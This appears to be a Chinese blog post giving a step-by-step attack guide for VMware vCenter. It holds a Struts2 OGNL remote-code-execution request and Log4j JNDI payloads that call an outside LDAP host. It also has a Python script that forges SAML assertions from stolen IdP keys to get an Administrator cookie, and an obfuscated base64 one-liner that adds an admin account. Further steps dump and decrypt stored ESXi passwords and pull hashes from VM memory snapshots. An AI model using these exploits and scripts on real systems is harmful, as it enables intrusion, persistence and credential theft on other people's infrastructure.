vCenter攻击指南

FQDN

打点

vCenter6.0

这个版本较为特殊,用如下poc可以获取普通权限

提权用脏牛

GET /statsreport/ HTTP/1.1
Host: vcenter:443
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
Connection: close
Content-Length: 0

其余版本

在如下版本区间的可以直接log4j,log4j修复了其他洞也修复了。

当内网碰到隔离,数据包能去不能回,可以用历史洞(2021-21972,2021-21985,2021-22005)轮个普通权限,然后反弹shell再本机跑jndi。

v6.5.* <VMware vCenter Server 6.5.0 build-19261680

v6.7.* < VMware vCenter Server 6.7.0 build-19300125 19299595可能成功也可能不成功

v7.0.* < VMware vCenter Server 7.0.3 build-19234570

判断版本数据包

POST /sdk HTTP/2
Host: xxx.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 373

<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <env:Body>
      <RetrieveServiceContent xmlns="urn:vim25">
        <_this type="ServiceInstance">ServiceInstance</_this>
      </RetrieveServiceContent>
      </env:Body>
      </env:Envelope>

log4j poc

poc1

GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: xxx.xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
X-Forwarded-For:\${jndi:ldap://114.114.114.114:1389/TomcatBypass/TomcatEcho}
cmd:id

poc2

GET /websso/SAML2/SSOSSL/?RelyingPartyEntityId={base64jndipayload} HTTP/1.1
Host: 10.10.100.203
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://10.10.100.207/ui/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
cmd: id
Te: trailers
Connection: close
Content-Length: 0

获取管理员Cookie,登录vCenter

需要root权限

需要文件data.mdb,路径:

/storage/db/vmware-vmdir/data.mdb

前置依赖

Debian

apt-get install build-essential python3-dev libldap2-dev libsasl2-dev slapd ldap-utils tox lcov valgrind

Centos

yum install python3-devel

脚本

获取Cookie脚本,获取Cookie后访问/ui/就可以登录:(在高版本vcenter如果默认 不能获取cookie,需要手动修改RelayState参数)

#!/usr/bin/env python3
import argparse
import base64
import bitstring
import sys
import zlib
from string import printable
from urllib.parse import parse_qs, quote, unquote, urlparse

import socket
import ssl
import OpenSSL.crypto as crypto

import ldap
import lxml.etree as etree
import requests
import urllib3
from signxml import XMLSignatureProcessor, XMLSigner
from datetime import datetime
from dateutil.relativedelta import relativedelta
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

idp_cert_flag = b'\x30\x82\x04'
trusted_cert1_flag = b'\x63\x6e\x3d\x54\x72\x75\x73\x74\x65\x64\x43\x65\x72\x74\x43\x68\x61\x69\x6e\x2d\x31\x2c\x63\x6e\x3d\x54\x72\x75\x73\x74\x65\x64\x43\x65\x72\x74\x69\x66\x69\x63\x61\x74\x65\x43\x68\x61\x69\x6e\x73\x2c' # cn=TrustedCertChain-1,cn=TrustedCertificateChains,
trusted_cert2_flag = b'\x01\x00\x12\x54\x72\x75\x73\x74\x65\x64\x43\x65\x72\x74\x43\x68\x61\x69\x6e\x2d\x31' # \x01\x00\x12TrustedCertChain-1
not_it_list = [b'Engineering', b'California', b'object']

SAML_TEMPLATE = \
r"""<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="https://$VCENTER_IP/ui/saml/websso/sso" ID="_eec012f2ebbc1f420f3dd0961b7f4eea" InResponseTo="$ID" IssueInstant="$ISSUEINSTANT" Version="2.0">
  <saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">https://$VCENTER/websso/SAML2/Metadata/$DOMAIN</saml2:Issuer>
  <saml2p:Status>
    <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
    <saml2p:StatusMessage>Request successful</saml2p:StatusMessage>
  </saml2p:Status>
  <saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ID="_91c01d7c-5297-4e53-9763-5ef482cb6184" IssueInstant="$ISSUEINSTANT" Version="2.0">
    <saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://$VCENTER/websso/SAML2/Metadata/$DOMAIN</saml2:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" Id="placeholder"></ds:Signature>
    <saml2:Subject>
      <saml2:NameID Format="http://schemas.xmlsoap.org/claims/UPN">Administrator@$DOMAIN</saml2:NameID>
      <saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml2:SubjectConfirmationData InResponseTo="$ID" NotOnOrAfter="$NOT_AFTER" Recipient="https://$VCENTER/ui/saml/websso/sso"/>
      </saml2:SubjectConfirmation>
    </saml2:Subject>
    <saml2:Conditions NotBefore="$NOT_BEFORE" NotOnOrAfter="$NOT_AFTER">
      <saml2:ProxyRestriction Count="10"/>
      <saml2:Condition xmlns:rsa="http://www.rsa.com/names/2009/12/std-ext/SAML2.0" Count="10" xsi:type="rsa:RenewRestrictionType"/>
      <saml2:AudienceRestriction>
        <saml2:Audience>https://$VCENTER/ui/saml/websso/metadata</saml2:Audience>
      </saml2:AudienceRestriction>
    </saml2:Conditions>
    <saml2:AuthnStatement AuthnInstant="$ISSUEINSTANT" SessionIndex="_50082907a3b0a5fd4f0b6ea5299cf2ea" SessionNotOnOrAfter="$NOT_AFTER">
      <saml2:AuthnContext>
        <saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
      </saml2:AuthnContext>
    </saml2:AuthnStatement>
    <saml2:AttributeStatement>
      <saml2:Attribute FriendlyName="Groups" Name="http://rsa.com/schemas/attr-names/2009/01/GroupIdentity" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
        <saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\Users</saml2:AttributeValue>
        <saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\Administrators</saml2:AttributeValue>
        <saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\CAAdmins</saml2:AttributeValue>
        <saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\ComponentManager.Administrators</saml2:AttributeValue>
        <saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\SystemConfiguration.BashShellAdministrators</saml2:AttributeValue>
        <saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\SystemConfiguration.Administrators</saml2:AttributeValue>
        <saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\LicenseService.Administrators</saml2:AttributeValue>
        <saml2:AttributeValue xsi:type="xsd:string">$DOMAIN\Everyone</saml2:AttributeValue>
      </saml2:Attribute>
      <saml2:Attribute FriendlyName="userPrincipalName" Name="http://schemas.xmlsoap.org/claims/UPN" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
        <saml2:AttributeValue xsi:type="xsd:string">Administrator@$DOMAIN</saml2:AttributeValue>
      </saml2:Attribute>
      <saml2:Attribute FriendlyName="Subject Type" Name="http://vmware.com/schemas/attr-names/2011/07/isSolution" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
        <saml2:AttributeValue xsi:type="xsd:string">false</saml2:AttributeValue>
      </saml2:Attribute>
      <saml2:Attribute FriendlyName="surname" Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
        <saml2:AttributeValue xsi:type="xsd:string">$DOMAIN</saml2:AttributeValue>
      </saml2:Attribute>
      <saml2:Attribute FriendlyName="givenName" Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
        <saml2:AttributeValue xsi:type="xsd:string">Administrator</saml2:AttributeValue>
      </saml2:Attribute>
    </saml2:AttributeStatement>
  </saml2:Assertion>
</saml2p:Response>
"""

def writepem(bytes, verbose):
    data = base64.encodebytes(bytes).decode("utf-8").rstrip()
    key = "-----BEGIN CERTIFICATE-----\n" + data + "\n-----END CERTIFICATE-----"
    if verbose:
        print('[*] Extracted Trusted certificate:')
        print(key + '\n')

    return key

def writekey(bytes, verbose):
    data = base64.encodebytes(bytes).decode("utf-8").rstrip()
    key = "-----BEGIN PRIVATE KEY-----\n" + data + "\n-----END PRIVATE KEY-----"
    if verbose:
        print('[*] Extracted IdP certificate:')
        print(key + '\n')

    return key

def check_key_valid(key, verbose=False):
    lines = key.splitlines()
    if lines[1].startswith('MI'):
        return True
    else:
        if verbose:
            print('[!] Certificate does not begin with magic bytes')
        return False

def get_idp_cert(stream, verbose=False):
    tup = stream.findall(idp_cert_flag, bytealigned=True)
    matches = list(tup)
    for match in matches:
        stream.pos = match - 32
        flag = stream.read('bytes:3')
        if flag == b'\x00\x01\x04':
            size_hex = stream.read('bytes:1')
            size_hex = b'\x04' + size_hex
            size = int(size_hex.hex(), 16)
            cert_bytes = stream.read(f'bytes:{size}')
            if any(not_it in cert_bytes for not_it in not_it_list):
                continue

            key = writekey(cert_bytes, verbose)
            if not check_key_valid(key):
                continue

            print('[*] Successfully extracted the IdP certificate')        
            return key
    else:
        print(f'[-] Failed to find the IdP certificate')
        sys.exit()

def get_domain_from_cn(cn):
    parts = cn.split(',')
    domain_parts = []
    for part in parts:
        if part.lower().startswith('dc='):
            domain_parts.append(part[3:])
    domain = '.'.join(domain_parts).strip()
    domain = ''.join(char for char in domain if char in printable)
    return domain

def get_trusted_cert1(stream, verbose=False):
    tup = stream.findall(trusted_cert1_flag)
    matches = list(tup)
    if matches:
        for match in matches:
            stream.pos = match
            if verbose:
                print(f'[!] Looking for cert 1 at position: {match}')

            cn_end = stream.readto('0x000013', bytealigned=True)
            cn_end_pos = stream.pos
            if verbose:
                print(f'[!] CN end position: {cn_end_pos}')

            stream.pos = match
            cn_len = int((cn_end_pos - match - 8) / 8)
            cn = stream.read(f'bytes:{cn_len}').decode()
            domain = get_domain_from_cn(cn)
            if domain:
                print(f'[*] CN: {cn}')
                print(f'[*] Domain: {domain}')
            else:
                print(f'[!] Failed parsing domain from CN')
                sys.exit()

            cn = stream.readto(f'0x0002', bytealigned=True)

            # Get TrustedCertificate1 pem 1
            cert1_size_hex = stream.read('bytes:2')
            cert1_size = int(cert1_size_hex.hex(), 16)
            cert1_bytes = stream.read(f'bytes:{cert1_size}')
            if verbose:
                print(f'[!] Cert 1 size: {cert1_size}')

            if b'ssoserverSign' not in cert1_bytes:
                if verbose:
                    print('[!] Cert does not contain ssoserverSign - keep looking')
                continue

            cert1 = writepem(cert1_bytes, verbose)
            if not check_key_valid(cert1):
                continue

            print('[*] Successfully extracted trusted certificate 1')
            return cert1, domain
    else:
        print(f'[-] Failed to find the trusted certificate 1 flags')

def get_trusted_cert2(stream, verbose=False):
    # Get TrustedCertificate1 pem2
    tup = stream.findall(trusted_cert2_flag)
    matches = list(tup)
    for match in matches:
        stream.pos = match - 10240

        try:
            start = stream.readto('0x308204', bytealigned=True)
        except:
            print('Failed finding cert 2 with flag 1, looking for flag 2...')
            try:
                start = stream.readto('0x308203', bytealigned=True)
            except:
                print('Failed finding cert 2')
                sys.exit()

        stream.pos = stream.pos - 40
        cert2_size_hex = stream.read('bytes:2')
        cert2_size = int(cert2_size_hex.hex(), 16)
        cert2_bytes = stream.read(f'bytes:{cert2_size}')
        if verbose:
            print(f'Cert 2 Size: {cert2_size}')

        cert2 = writepem(cert2_bytes, verbose)
        if not check_key_valid(cert2):
            continue

        print('[*] Successfully extracted trusted certificate 2')
        return cert2

    print(f'[-] Failed to find the trusted cert 2')
    sys.exit()

def saml_request(vcenter):
    """Get SAML AuthnRequest from vCenter web UI"""
    try:
        print(f'[*] Initiating SAML request with {vcenter}')
        r = requests.get(f"https://{vcenter}/ui/login", allow_redirects=False, verify=False)
        if r.status_code != 302:
            raise Exception("expected 302 redirect")
        o = urlparse(r.headers["location"])
        sr = parse_qs(o.query)["SAMLRequest"][0]
        dec = base64.decodebytes(sr.encode("utf-8"))
        req = zlib.decompress(dec, -8)
        return etree.fromstring(req)
    except:
        print(f'[-] Failed initiating SAML request with {vcenter}')
        raise

def fill_template(vcenter_hostname, vcenter_ip, vcenter_domain, req):
    """Fill in the SAML response template"""
    try:
        print('[*] Generating SAML assertion') 
        # Generate valid timestamps
        before = (datetime.today() + relativedelta(months=-1)).isoformat()[:-3]+'Z'
        after = (datetime.today() + relativedelta(months=1)).isoformat()[:-3]+'Z'

        # Replace fields dynamically
        t = SAML_TEMPLATE
        t = t.replace("$VCENTER_IP", vcenter_ip)
        t = t.replace("$VCENTER", vcenter_hostname)
        t = t.replace("$DOMAIN", vcenter_domain)
        t = t.replace("$ID", req.get("ID"))
        t = t.replace("$ISSUEINSTANT", req.get("IssueInstant"))
        t = t.replace("$NOT_BEFORE", before)
        t = t.replace("$NOT_AFTER", after)
        return etree.fromstring(t.encode("utf-8"))
    except:
        print('[-] Failed generating the SAML assertion')
        raise

def sign_assertion(root, cert1, cert2, key):
    """Sign the SAML assertion in the response using the IdP key"""
    try:
        print('[*] Signing the SAML assertion')
        assertion_id = root.find("{urn:oasis:names:tc:SAML:2.0:assertion}Assertion").get("ID")
        signer = XMLSigner(c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#")
        signed_assertion = signer.sign(root, reference_uri=assertion_id, key=key, cert=[cert1, cert2])
        return signed_assertion
    except:
        print('[-] Failed signing the SAML assertion')
        raise

def login(vcenter, saml_resp):
    """Log in to the vCenter web UI using the signed response and return a session cookie"""
    # Relay = input("Please input RelayState: ")
    try:
        print('[*] Attempting to log into vCenter with the signed SAML request')
        resp = etree.tostring(s, xml_declaration=True, encoding="UTF-8", pretty_print=False)
        r = requests.post(
            f"https://{vcenter}/ui/saml/websso/sso",
            allow_redirects=False,
            verify=False,
            data={"SAMLResponse": base64.encodebytes(resp),"RelayState": "f60b1e72-9204-4ea9-9dcc-55dcd4330496"},
        )
        if r.status_code != 302:
            raise Exception("expected 302 redirect")
        cookie = r.headers["Set-Cookie"].split(";")[0]
        print(f'[+] Successfuly obtained Administrator cookie for {vcenter}!')
        print(f'[+] Cookie: {cookie}')
    except:
        print('[-] Failed logging in with SAML request')
        raise

def get_hostname(vcenter):
    try:
        print('[*] Obtaining hostname from vCenter SSL certificate')
        dst = (vcenter, 443)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(dst)
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        s = ctx.wrap_socket(s, server_hostname=dst[0])

        # get certificate
        cert_bin = s.getpeercert(True)
        x509 = crypto.load_certificate(crypto.FILETYPE_ASN1,cert_bin)
        hostname = x509.get_subject().CN
        print(f'[*] Found hostname {hostname} for {vcenter}')
        return hostname
    except:
        print('[-] Failed obtaining hostname from SSL certificates for {vcenter}')
        raise

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-p', '--path', help='The path to the data.mdb file', required=True)
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-v', '--verbose', action='store_true', help='Print the extracted certificates')
    args = parser.parse_args()

    # Extract certificates
    in_stream = open(args.path, 'rb')
    bin_stream = bitstring.ConstBitStream(in_stream)
    idp_cert = get_idp_cert(bin_stream, args.verbose)
    trusted_cert_1, domain = get_trusted_cert1(bin_stream, args.verbose)
    trusted_cert_2 = get_trusted_cert2(bin_stream, args.verbose)

    # Generate SAML request
    hostname = get_hostname(args.target)
    req = saml_request(args.target)
    t = fill_template(hostname, args.target, domain,req)
    s = sign_assertion(t, trusted_cert_1, trusted_cert_2, idp_cert)
    c = login(args.target, s)

一键添加vCenter管理员

log4j处可以直接触发

账号:[email protected]

密码:[email protected]

bash

{echo,cHl0aG9uIC1jICdpbXBvcnQgYmFzZTY0O2ltcG9ydCB6bGliO2V4ZWMoYmFzZTY0LmI2NGRlY29kZSh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZSgiZUp5RlZsbWJvamdVL1V1QVdqMDh6SU9rWkpkcVVOWTNFcW9CU1pBWlFNVmZQemU0b1ZVOS9lQlhSVWp1Y3U0NUo2U2hlTVF6VXpBMCtZd1k3WWdtRHhsU2hzVGRXMW5rVU1JV0JRNzkvT2RtV1NkYXdPSW9hRE5OTERCVDZ5UXlhbFFyQlprNU00aFJHZTlDYmdwcWhVUGF4Lzd5dE42dGE1UTNWUkxHdVY4SHZTdkpIUTdWUGtIRkRvZHU4NUh2Y3dNdGMxSXVaWjdmcnBVRDBZTGUwcHd1UVpYRjN4bTZSejkxRi9JcmcxMmJOQTZoTVBkMmJySERjQzdaNUEwcVlTK3ZPL0pFd3VaNXBnWHpiTG0zZU0zR0txUFo2clJ5QStVZFN3dVdobVJ2YmZmWCtNcVFoZ3ZCUWlhMnFKQUh1cm1BbkFkRGd6TklFVkxOejJOSjdoTkdhNmdSWXZFNHkvSmVBd3ZPV1hnU2VPL1BQZWFsTGNuSERNbHRHblkwa3lqVUtaZHBPRDlnUFJ1U01EdW5XdEJpcExScDVBalJMQ213SGxBeUxPdFFLR3d2b0wrQ1ZXSDZvdXk0dm1Ocy9JVWFxYWR6RXBsU0dzSmN4QlBKbUZpbGtabVpnOUdnSzViUVM1VkUrWW5YYzZ2TlprbURtYnMzbUxkelEyZUhaMEdmSWVPR1dSVUw2ZzU2RkhGOXdUbUpIQkhySHI3RitxQkNUMmE4VG5kdmlxZmVIQ2hlcTVPMXdhaXRvQjNnM3d1bUd1MEI5L21hejFVM0taa0JaeERIZlZFQnpwTjgzbXBiZmxjSFg1K2NWVHVvSDNqd2JyeEZtOFdaYUtjbVEza2RhWE9lOXpoZE0wclNoR2N6ZThIai9FYzgxQW1QeXl2M3ROKzhIMlA1bkJQUXB3b3pMQVpUUEphSjVpaXg1Qnd5NEpPdnFXY3l5dzZFZWNRbzUvOUcrcnEwMFB4ZmEyTVNYSkwyZ2N1SXBmWEszMmtzZTFySHl2dXdmMVBYVFd0eDZGV1dkcXJTTUc0TnpUbmdrT3Yxb2JlRS9jWG5mTkVhTW90RWMzdXNlVTFTR3EyQnpObWovK1JnMTltUVJoNjl4cnZOaXVIaGkvWTJVQ3ZvUyt4aVB1ZEoza2R2bkZjangvNjA5MGdBMnd4d3ZaNjVyUi9Jc0FEdGlJZU0rWHRUVXFzRUxkcEVvOHdjZ0ZwUC9ENjk4T25wMlkwajU1eEo4cEFnNE5sMy91QTJKV2hSTnRRdWc3aFFuOXJnOHZhY0hFaXBsSnpueHV0c2F1ZUlOUW9ESlMzVTlIYXRHN0JWU25nbnhKRXBBQythVE10SC92M2NHUGU1WERBM3p6WlRqM3cyNEpOM243bnk4VnJIb2lDNlFqbUhZOXFlUVorZy82YUVudWpvd2NPeHRsbHpBSy9aeC9XNlFYWEFmY1BsbU1ZU1BjYmg2U01PeFhIdjFPTXQ4QjRYa2ZHdlhaSStaVExrS2lxWVV3R3hlSTVxeEFCbE83d1RhZ08xWDg3Ym10UC9qTVo4WjN1TXBZeDF3Vm5GVzNtQkx3U2JTNDBFN3BQNW02RjNGYTZGeTExRFJ5L2VwWkZTNE5VWWs3OFhpUlFNdm02Q1pwMkdnTjYyVE8yU1NMQ0lvRG9QN0ovMzQrdWVXSnAvV2NPUytVOFNPb0lyblVBNzZ6ZnU5MlRaSEdMVzBIam12V091M2ZNK2h4a01CTHdmTWZCdEZ1eXlsZE55M255VXdFT1dBVi9wV3h4NURYQ213S3BDU1EwOHpyL0dHWHZMbTBzZmQxOXdlVjNIT3c5MXdlS1lvRXBkZVdxdzlRS0Q2K1NPbWMwNXg4UUNOSEdaZ2ViMU5sSyt4MmJEdmZQN21kL080T2Q5L2ZYZDhVa1grc05iUUErN20xNzUvQXdHZW9JNWdYZmtkcFRuZHBqbm45SkVDN3FRMjc2YlI4ajhNZlV5YjdXUUkyVEFHZkxsM2NRekwzdXVYbWF6MFh2S0tRWXZkOWIwdVgzVkpLLzN1WVo1KzMvZS9uMU40RUdNKzAzeG1BbFM3cGhZL0xQRTkxYndjemIrZlB4ZU1vZXN3cnM5ZkQvTVpUZjBPdUIyUTJiZUFKdzVrSHJkanV0MTBNQmRDem83L1lpWmVyNXd0Z0J1Z1NmcDlKaHM5emtPWmVnL1dZejUzL2x6ME1Vc0dCQVRLUTdoSG9FY2dIMy95OTFEVHZKU3g4Z2grSW5tdGx3dzZMR0w0YUllYy9INWEyWkJKSi9qMFY5NkI1Mnp1eC96UGtxNEd3cWlpUWZ1czUrYlpmZUpsbDJLbEtmWi9ZSjFEeW5FcUx0bjM2MUZ1UCtXWFRaOGVmZndZUDJ5Qnp4eWVoZkIvU29QNEhlQ05aMFZHcmsvZVQ2K3p2YUZEOXo3ajcrYjZldmV5YjFRV2VNOXVnSTl3bS9yMDQrWGVmLzlINzRseThZPSIpKSkpJw==}|{base64,-d}|{bash,-i}

获取esxi密码

获取psql保存的vpxuser密码

# linux
cat /etc/vmware-vpx/vcdb.properties
# or
cat /etc/vmware/service-state/vpxd/vcdb.properties

# windows
type  C:\ProgramData\VMware\vCenterServer\cfg\vmware-vps\vcdb.properties

连接数据库读取密钥

# linux
/opt/vmware/vpostgres/current/bin/psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

#windows
C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

获取symkey.dat

# linux
cat /etc/vmware-vpx/ssl/symkey.dat

# windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat

解密vpxuser密码

python3 decrypt.py symkey.dat password.enc password.txt

解密脚本

import base64
import sys

from Crypto.Cipher import AES

usage = """
Where is symkey.dat
Windows:C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
Linux:/etc/vmware-vpx/ssl/symkey.dat

Where is psql
Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe
Linux: /opt/vmware/vpostgres/current/bin/psql
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

python3 decrypt.py symkey.dat password.enc password.txt
"""

def pkcs7unpadding(text):
    length = len(text)
    padding_length = ord(text[-1])
    return text[0:length-padding_length]

def decrypt(key, enc_passwords):
    passwords = []
    key_bytes = bytes.fromhex(key)
    for enc_password in enc_passwords:
        content = base64.b64decode(enc_password)
        iv_bytes = content[:16]
        enc_password_bytes = content[16:]
        cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
        password_bytes = cipher.decrypt(enc_password_bytes)
        password = str(password_bytes, encoding='utf-8')
        password = pkcs7unpadding(password)
        passwords.append(password)
    return passwords

def save_decrypt_password(path, passwords):
    data = '\n'.join(passwords)
    with open(path, 'w') as file:
        file.write(data)

def get_encrypt_password(path):
    encrypt_passwords = []
    with open(path) as file:
        for line in file:
            encrypt_password = line.strip('*').strip()
            encrypt_passwords.append(encrypt_password)
    return encrypt_passwords

def get_key(path):
    with open(path) as file:
        key = file.read().strip()
        return key

def main():
    if len(sys.argv) != 4:
        print(usage)
        exit(1)
    key = get_key(sys.argv[1])
    encrypt_passwords = get_encrypt_password(sys.argv[2])
    save_path = sys.argv[3]
    passwords = decrypt(key, encrypt_passwords)
    save_decrypt_password(save_path, passwords)

if __name__ == '__main__':
    main()

找不到Crypto包解决办法

到pip目录把cypto目录改成Crypto

获取vcenter情况下获取虚拟机权限

Linux

重启改密码,可以克隆出来再重启。

Windows

https://github.com/JamesCooteUK/SharpSphere

打快照→dump内存(大小依据虚拟机分配的内存大小)→抓取哈希

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇